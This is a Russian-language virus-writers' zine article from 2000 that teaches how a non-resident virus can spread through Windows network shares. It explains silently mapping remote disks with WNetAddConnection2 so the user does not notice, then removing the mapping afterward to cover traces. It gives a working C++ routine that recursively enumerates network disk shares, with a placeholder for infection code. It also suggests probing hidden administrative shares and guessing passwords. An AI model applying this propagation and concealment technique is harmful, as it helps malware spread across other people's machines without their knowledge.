_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  использование расшаренных
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$| ресурсов [2000]
$$$$|_ | `7;?( |asd| :: |$$$|$| by Uazz Klingun
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


                      Использование расшаренных ресурсов.

   Как происходит обычно размножение нерезидентных  вирусов?  Берутся  диски
 и начинается  обход  дерева каталогов  в  поиcках жертвы.  Но в современную
 эпоху этого мало. Мы  живем в сетевом мире, и надо учиться пользоваться его
 возможностями.

   Начну  с  конца,  то  есть  с  того,  что  будет  достигнуто в результате
 манипуляций.  У  компьютера  появится еще один диск (сетевой), а у вируса -
 возможность для распространения. Что для этого нужно?

   ─ 1.  Используем   функцию   WNetAddConnection2  (лежит  в  mpr.dll).  Ее
 прототип  описан  в  winnetwk.h.  Для тех,  кому лень лезть в  хидеры,  она
 определена  как:  DWORD  WNetAddConnection2  (LPNETRESOURCE  lpNetResource,
 LPCTSTR  lpPassword, LPCTSTR lpUserName, DWORD dwFlags)

   Ну, что  такое  lpPassword  и lpUserName,  думаю понятно.  Это  указатели
 на строки, хранящие  пароль  и  логин для подсоединения. Их можно оставлять
 пустыми (для расшареных ресурсов.  Тогда  они,  imho  берутся  от  текущего
 пользователя). Если  заниматься   получением  списка  логинов  и   подбором
 паролей,  то можно получить  большую  степень доступа, но это уже несколько
 другая тема. dwFlags определяет,  будет ли данное подключение восстановлено
 при следующем входе  пользователя  в  систему.  Логично установить его в 0,
 дабы  пользователь  ни  о  чем  не  догадывался.  lpNetResource    является
 указателем на структуру следующего вида:

    DWORD  dwScope;
    DWORD  dwType;
    DWORD  dwDisplayType;
    DWORD  dwUsage;
    LPTSTR lpLocalName;
    LPTSTR lpRemoteName;
    LPTSTR lpComment;
    LPTSTR lpProvider;

   В этой структуре необходимо заполнить следующие поля:

   dwType - тип ресурса, к которому мы подключаемся. Должен быть  установлен
 в RESOURCETYPE_DISK (числовое значение смотрите сами в хидерах)
   lpLocalName - указатель  на  строку,  содержащее  им я диска,  к которому
 будет подконнекчен расшареный ресурс), что-нибудь вида 'z:', 0
   lpRemoteName - указатель  на  строку,  содержащую имя удаленного ресурса,
 к которому мы коннектимся. Что-нибудь вида '\\vasya\disk_c', 0

   Остальные поля структуры ставим в 0.

   Функция, в  случае  успешного  завершения,  должна возвратить  что-нибудь
 типа NO_ERROR  (0 наверное).  Итак,  у нас  появился  новый диск, готовый к
 заражению.


   ─ 2. Удаление следов работы

   Для этого имеется следующая функция:
   DWORD WNetCancelConnection2(LPTSTR lpName, DWORD dwFlaga, BOOL bForce)

   lpName  должно  указывать  на  имя  локального  диска,  к   которому   мы
 коннектились ('z:',0),  dwFlags ставим в 0, bForce в TRUE   (т.е.  если  на
 этом диске открыты какие-либо файлы, все равно отключать).


   ─ 3. А   теперь   самое  интересное  -  как  же  найти   эти   расшареные
 ресурсы (и не только расшареные, если клиент работает под NT)?

   Лучший способ рассказть - просто показать на примере :))

   Перед вами обычная рекурсивная функция, запускается как Scan(NULL, TRUE)
   Реализовано все это не очень изящно, но работает :)

void CSharelDlg::Scan(LPNETRESOURCE lpNetRes, BOOL root)
{
  DWORD dwResult;
  HANDLE hEnum;
  NETRESOURCE nrRes[500]; //Хранилище расшареных ресурсов (считаем, что их не                     //может быть больше 500
  DWORD dwNumEntries;
  DWORD dwSize;
  DWORD i;
  if (root){
     //Если начинаем с корня, то вместо указателя на контейнер, содержащий         //другие ресурсы, передаем NULL
     dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
                0, NULL, &hEnum);
  }
  else{
     dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
                0, lpNetRes, &hEnum);
                // Иначе передаем указатель на контейнер
  }
  if (dwResult == NO_ERROR){
     dwNumEntries = 0x0FFFFFFFF;
     //Хотим получить максимально возможное количество ресурсов
     dwSize = sizeof(nrRes);
     if (WNetEnumResource(hEnum, &dwNumEntries, (LPVOID)&nrRes, &dwSize) ==
//Хендл открытого перечисления, количество возвращенных значений, массив куда //пихать, если места там не хватает, то в dwSize - необходимый размер
              NO_ERROR){
            for (i = 0; i < dwNumEntries; i++){
                if (nrRes[i].dwUsage != RESOURCEUSAGE_CONNECTABLE){
                //Если к ресурсу нельзя подсоединиться, то значит он содержит           //другие ресурсы, и входим в него
                    Scan(&nrRes[i], FALSE);
                }
                else{
                    m_ShareList.AddString(nrRes[i].lpRemoteName);
                    //Иначе просто выводим его название
                    //Здесь может быть ваш код :)))
                }
            }
        }
        WNetCloseEnum(hEnum);
        //Закрыли перечисление
        }
  return;
}

   Данная  статья  не  претендует  на  полноту  изложения,  за более  полной
 информацией по использованию этих функций обращайтесь к MSDN.


   ─ Напоследок информация для размышления...

   Есть, имхо, смысл пытаться для каждой  найденной  таким  образом  машины,
 пытаться подключиться  к  ресурсу  типа  \\vasya\c$ (скрытый ресурс у машин
 под управлением NT) Несколько но:

   - имхо нужны права администратора
   - _обязательно_  нужно   указывать  имя   пользователя  (можно  взять  из
     WNetGetUser,  имхо   так)  и   надеяться   на   то,  что   пользователь
     беспарольный, ну, а уж если вы найдете способ  быстро подобрать пароль,
     то Нобелевка вам  обеспечена :)))

                           (x) 2000 Uazz KlinGun, misdirected_youth_all-star